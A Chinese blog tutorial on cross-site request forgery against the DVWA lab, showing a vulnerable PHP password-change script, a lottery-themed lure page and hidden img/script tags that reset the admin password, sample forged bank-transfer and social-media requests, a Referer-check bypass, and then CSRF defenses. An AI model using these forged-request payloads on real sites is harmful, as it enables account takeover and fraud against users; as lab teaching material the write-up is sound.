news 2026/4/21 19:04:11

CSRF跨站请求伪造

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CSRF跨站请求伪造

漏洞原理

CSRF工作流程

1. 用户登录网站A,获得Cookie 2. 用户访问恶意网站B(未退出A) 3. 网站B构造请求发送到网站A 4. 浏览器自动携带Cookie 5. 网站A认为是合法请求并执行

Low级别攻击

功能分析

页面功能:修改密码 请求方式:GET URL: http://127.0.0.1/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change

后端代码

<?phpif(isset($_GET['password_new'])){$pass_new=$_GET['password_new'];$pass_conf=$_GET['password_conf'];if($pass_new==$pass_conf){// 修改密码(无任何验证!)$query="UPDATE users SET password = MD5('$pass_new') WHERE user = 'admin'";mysqli_query($conn,$query);}}?>

漏洞点

  • 使用GET请求修改密码
  • 无Token验证
  • 无二次确认
  • 无当前密码验证

攻击实施

恶意页面代码

<!DOCTYPEhtml><html><head><title>您已中奖!</title></head><body><h1>恭喜您!</h1><p><b><astyle="background-color:red;padding:10px;color:white;"href="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change">点击领取奖品</a></b></p></body></html>

攻击流程

1. 管理员登录DVWA(127.0.0.1) 2. 在同一浏览器打开攻击者网页 3. 点击"点击领取奖品"链接 4. 密码被修改为"hacked" 5. 管理员下次登录失败

自动化攻击

<!-- 用户打开页面就自动触发 --><imgsrc="http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change"style="display:none"><!-- 或使用JavaScript --><script>document.location='http://127.0.0.1/vulnerabilities/csrf/?password_new=hacked&password_conf=hacked&Change=Change';</script>

实际危害场景

金融系统攻击

<!-- 转账请求 --><imgsrc="http://bank.com/transfer?to=attacker&amount=10000">

社交网络攻击

<!-- 关注攻击者 --><imgsrc="http://social.com/follow?user=attacker"><!-- 发布广告内容 --><formaction="http://social.com/post"method="POST"><inputname="content"value="广告内容"></form><script>document.forms[0].submit();</script>

电商平台攻击

<!-- 修改收货地址 --><formaction="http://shop.com/address"method="POST"><inputname="address"value="攻击者地址"></form>

Medium级别绕过

防护代码

if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){// 检查Referer头}

绕过方法

<!-- 在攻击者域名中包含目标域名 -->攻击者域名: 127.0.0.1.attacker.com 或创建子域名: 127-0-0-1.attacker.com

CSRF完整防护方案

1. Token验证(最重要)

// 生成Tokensession_start();$_SESSION['csrf_token']=bin2hex(random_bytes(32));// HTML表单<input type="hidden"name="csrf_token"value="<?php echo$_SESSION['csrf_token']; ?>">// 验证Tokenif($_POST['csrf_token']!==$_SESSION['csrf_token']){die('CSRF Token验证失败');}

2. SameSite Cookie

setcookie('session',$value,['samesite'=>'Strict',// 或'Lax''httponly'=>true,'secure'=>true]);

3. 验证Referer

$referer=$_SERVER['HTTP_REFERER']??'';if(strpos($referer,'https://yourdomain.com')!==0){die('非法请求来源');}

4. 二次确认

// 敏感操作要求输入当前密码if($_POST['current_password']!==$user_password){die('当前密码错误');}

5. 验证码

// 敏感操作添加验证码if(!verify_captcha($_POST['captcha'])){die('验证码错误');}

职业安全建议

网络安全职业现状

行业特点

  • 相比其他行业,安全岗位裁员较少
  • 外企可能存在合同陷阱(6个月试用期)
  • 技术能力是最好的保障

风险警示

入侵公司系统 → 被安全团队溯源 → 立即辞退 → 法律责任

保命技能

运维工程师必备

  • Linux/Windows Server管理
  • 服务器架构设计
  • 应急响应能力
  • DOS攻击防护
  • 提权技术理解

开发工程师现状

  • 普遍缺乏安全意识
  • 99.9%不学习安全知识
  • 成为最大的安全隐患

建议

  • 技术能力强的开发者学习安全知识
  • 找红队专家审核关键代码
  • 定期进行安全培训
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 14:38:29

WS2812B多灯带同步驱动方案实战

如何让百米灯带同时“呼吸”&#xff1f;——WS2812B多灯带同步驱动实战全解析 你有没有见过那种环形灯光装置&#xff0c;一圈LED像波浪一样流动、呼吸、闪烁&#xff0c;却毫无延迟地整齐划一&#xff1f;看起来像是魔法&#xff0c;但背后的秘密&#xff0c;其实藏在 时序控…

作者头像 李华
网站建设 2026/4/17 16:31:45

用IndexTTS 2.0给Vlog配音,音色情感自由组合,效果超预期

用IndexTTS 2.0给Vlog配音&#xff0c;音色情感自由组合&#xff0c;效果超预期 在个人内容创作日益普及的今天&#xff0c;一段富有表现力、贴合人设的配音往往能极大提升Vlog的感染力。然而&#xff0c;专业配音成本高、周期长&#xff0c;而通用语音合成工具又常常“机械感…

作者头像 李华
网站建设 2026/4/19 12:44:29

G-Helper:华硕ROG笔记本的轻量级控制替代方案

G-Helper&#xff1a;华硕ROG笔记本的轻量级控制替代方案 【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops. Control tool for ROG Zephyrus G14, G15, G16, M16, Flow X13, Flow X16, TUF, Strix, Scar and other models 项目地址: https…

作者头像 李华
网站建设 2026/4/19 12:41:17

Qwen3-VL-2B从零开始:本地环境部署完整步骤

Qwen3-VL-2B从零开始&#xff1a;本地环境部署完整步骤 1. 引言 1.1 学习目标 本文旨在为开发者和研究人员提供一份从零开始的本地化部署指南&#xff0c;帮助你快速在本地环境中部署阿里开源的多模态大模型 Qwen3-VL-2B-Instruct。通过本教程&#xff0c;你将掌握&#xff…

作者头像 李华
网站建设 2026/4/21 15:05:45

从零开始学Linux进程控制:fork、wait、exec 详解

2:创建子进程会经过以下步骤.分配新的内存块和内核数据结构给子进程.将父进程部分数据结构内容拷贝给子进程(子进程要继承于父进程).添加子进程到系统的进程列表中代码:子进程与父进程共享代码数据:则通过写时拷贝的方式如果理解进程具有独立性根本原因在于:进程 内核的相关管…

作者头像 李华
网站建设 2026/4/19 12:42:43

Qwen All-in-One Docker部署:容器化实践指南

Qwen All-in-One Docker部署&#xff1a;容器化实践指南 1. 引言 1.1 业务场景描述 在边缘计算和资源受限的生产环境中&#xff0c;AI服务的轻量化与高效部署成为关键挑战。传统方案通常采用多个专用模型&#xff08;如BERT用于情感分析、LLM用于对话&#xff09;并行运行&a…

作者头像 李华